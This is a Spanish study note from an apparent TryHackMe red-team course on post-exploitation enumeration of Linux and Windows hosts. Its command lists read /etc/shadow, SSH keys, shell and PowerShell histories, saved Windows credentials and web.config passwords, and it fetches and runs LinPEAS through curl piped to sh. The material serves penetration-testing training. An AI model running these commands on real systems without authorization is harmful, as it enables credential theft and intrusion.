Enumeración post-explotación
Una vez obtenido un shell en el sistema objetivo, la enumeración post-explotación consiste en recopilar la mayor cantidad de información posible sobre el sistema y su red: sistema…
Definición
Una vez obtenido un shell en el sistema objetivo, la enumeración post-explotación consiste en recopilar la mayor cantidad de información posible sobre el sistema y su red: sistema operativo, usuarios, redes, procesos y servicios. El objetivo es encontrar credenciales, rutas de escalada de privilegios o vías de movimiento lateral.
Contexto
- Se asume acceso a un shell (
bashen Linux,cmd.exe/powershell.exeen Windows). - Las herramientas nativas del sistema son preferibles por ser sigilosas (no requieren subir binarios adicionales).
- Scripts automatizados: WinPEAS (Windows) y LinPEAS (Linux) agilizan el proceso.
- Esta nota forma parte del Red Team Path (THM) y complementa The Lay of the Land (THM).
Enumeración en Linux
Sistema
# Distribución y versión del kernells /etc/*-release && cat /etc/os-releaseuname -r # versión del kernel
# Nombre del hosthostname
# Variables de entorno (buscar paths, credenciales, configuraciones)envprintenv
# Aplicaciones instaladasls /usr/bin/ /sbin/ # binarios disponiblesrpm -qa # paquetes RPM (RHEL, CentOS, Fedora)dpkg -l # paquetes Debian/UbuntuUsuarios
# Ver usuarios localescat /etc/passwd # usuarios + home + shell
# Hashes de contraseñas (requiere root)cat /etc/shadow
# Gruposcat /etc/group
# Sesiones activaswho # quién está conectadow # quién + qué hacelast # historial de logins
# Identidad propiawhoamiid # UID, GID, grupos efectivos
# Comandos sudo permitidos para el usuario actualsudo -l
# Directorios de correo (datos potencialmente sensibles)ls /var/mail/Red
# Interfaces y direcciones IPip address show # o: ip a sifconfig -a # legacy
# Tabla de enrutamientoip routenetstat -rn
# Conexiones activas y puertos en escuchass -tulpn # modernonetstat -tulpn # legacy
# Servidores DNS configuradoscat /etc/resolv.conf
# Tabla ARP (vecinos en la red)arp -aip neigh
# Reglas de firewall (iptables)iptables -L -n -v # requiere root/sudoArchivos sensibles habituales en Linux
| Ruta | Contenido de interés |
|---|---|
/etc/passwd |
Usuarios del sistema |
/etc/shadow |
Hashes de contraseñas (root) |
/etc/sudoers |
Configuración sudo |
~/.bash_history |
Historial de comandos (contraseñas en claro) |
~/.ssh/id_rsa |
Clave privada SSH → acceso a otros hosts |
/var/mail/ |
Emails locales con posibles credenciales |
/tmp/, /var/tmp/ |
Scripts/payloads subidos |
find / -name "*.conf" 2>/dev/null |
Archivos de configuración |
find / -perm -4000 2>/dev/null |
Binarios SUID (escalada de privs) |
Enumeración en Windows
Sistema
# Información del sistemasysteminfoGet-ComputerInfo
# Variables de entornoGet-ChildItem Env:[System.Environment]::GetEnvironmentVariables()
# Hostname y dominiohostname$env:COMPUTERNAME$env:USERDOMAINUsuarios y grupos
# Usuarios localesGet-LocalUsernet user
# Grupos localesGet-LocalGroupnet localgroup
# Usuarios ADGet-ADUser -Filter *Get-ADUser -Filter * -SearchBase "OU=THM,DC=THMREDTEAM,DC=COM"
# Grupos ADGet-ADGroup -Filter * | select NameGet-ADGroupMember -Identity "Domain Admins"
# Sesiones activas (RDP/SMB)query userqwinstaRed
# Interfaces y direccionesipconfig /allGet-NetIPAddress
# Tabla de enrutamientoroute printGet-NetRoute
# Conexiones activasnetstat -naGet-NetTCPConnection
# Tabla ARParp -aGet-NetNeighbor
# Shares de rednet shareGet-SmbShare
# DNS caché (hosts visitados recientemente)ipconfig /displaydnsGet-DnsClientCacheProcesos y servicios
# Procesos en ejecuciónGet-Processtasklist /svc # con nombre de servicio
# Servicios instaladosGet-Servicesc query type= all
# Scheduled tasksschtasks /query /fo LIST /vGet-ScheduledTask | Where-Object {$_.State -eq "Ready"}Historial y credenciales guardadas
# Historial de PowerShell (puede contener contraseñas en claro)type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
# Credenciales guardadas en Windows Credential Managercmdkey /list
# Usar credencial guardada (si cmdkey muestra una)runas /savecred /user:DOMINIO\usuario "cmd.exe"
# Configuración IIS (puede contener connection strings con credenciales)type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionStringtype C:\inetpub\wwwroot\web.config | findstr passwordAutomatización: WinPEAS / LinPEAS
# LinPEAS — en la máquina víctima Linuxcurl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
# WinPEAS — en la máquina víctima Windows.\winPEAS.exe | Tee-Object -FilePath C:\Temp\winpeas_output.txtEstas herramientas resaltan en colores:
- 🔴 Rojo: alta probabilidad de escalada de privilegios
- 🟡 Amarillo: revisar manualmente
- 🟢 Verde: información del entorno
Pitfalls / Errores comunes
- Ejecutar WinPEAS/LinPEAS sin redirect → salida se pierde; siempre guardar output.
- No revisar
~/.bash_historyo historial PowerShell → fuente frecuente de credenciales en texto claro. - Ignorar shares de red (
net share) → pueden contener archivos con credenciales o ser rutas de movimiento lateral. - Olvidar revisar los procesos para identificar soluciones EDR activas antes de subir herramientas.
- No enumerar usuarios AD cuando el host está unido al dominio → se pierde el contexto completo.
Integración con otras notas
- Previo: The Lay of the Land (THM)
- Herramientas de explotación/AV: Weaponization (THM)
- Escalada de privilegios: Windows Privilege Escalation (THM), Escalada de privilegios (Linux), Escalada de privilegios (Windows)
- Movimiento lateral: Lateral Movement and Pivoting (THM)
- MITRE: TA0007 (Discovery), T1087 (Account Discovery), T1049 (Network Connections), T1083 (File and Directory Discovery)
Diagrama
flowchart LR
A[Shell obtenido] --> B{OS?}
B -->|Linux| C[Sistema: uname, /etc/os-release]
B -->|Windows| D[Sistema: systeminfo, Get-ComputerInfo]
C --> E[Usuarios: /etc/passwd, id, sudo -l]
C --> F[Red: ip a, ss, /etc/resolv.conf, arp]
C --> G[Archivos: .ssh, .bash_history, SUID]
D --> H[Usuarios: Get-LocalUser, Get-ADUser]
D --> I[Red: ipconfig, netstat, net share]
D --> J[Creds: historial PS, cmdkey, web.config]
E & F & G & H & I & J --> K[WinPEAS/LinPEAS para automatizar]
K --> L[Rutas de PrivEsc y Movimiento Lateral]
Referencias
- TryHackMe — Enumeration: https://tryhackme.com/room/enumerationpe
- WinPEAS/LinPEAS (PEASS-ng): https://github.com/carlospolop/PEASS-ng
- LinPEAS online: https://grimbins.github.io/grimbins/linpeas/
- MITRE T1087 Account Discovery: https://attack.mitre.org/techniques/T1087/
- MITRE T1049 Network Connections: https://attack.mitre.org/techniques/T1049/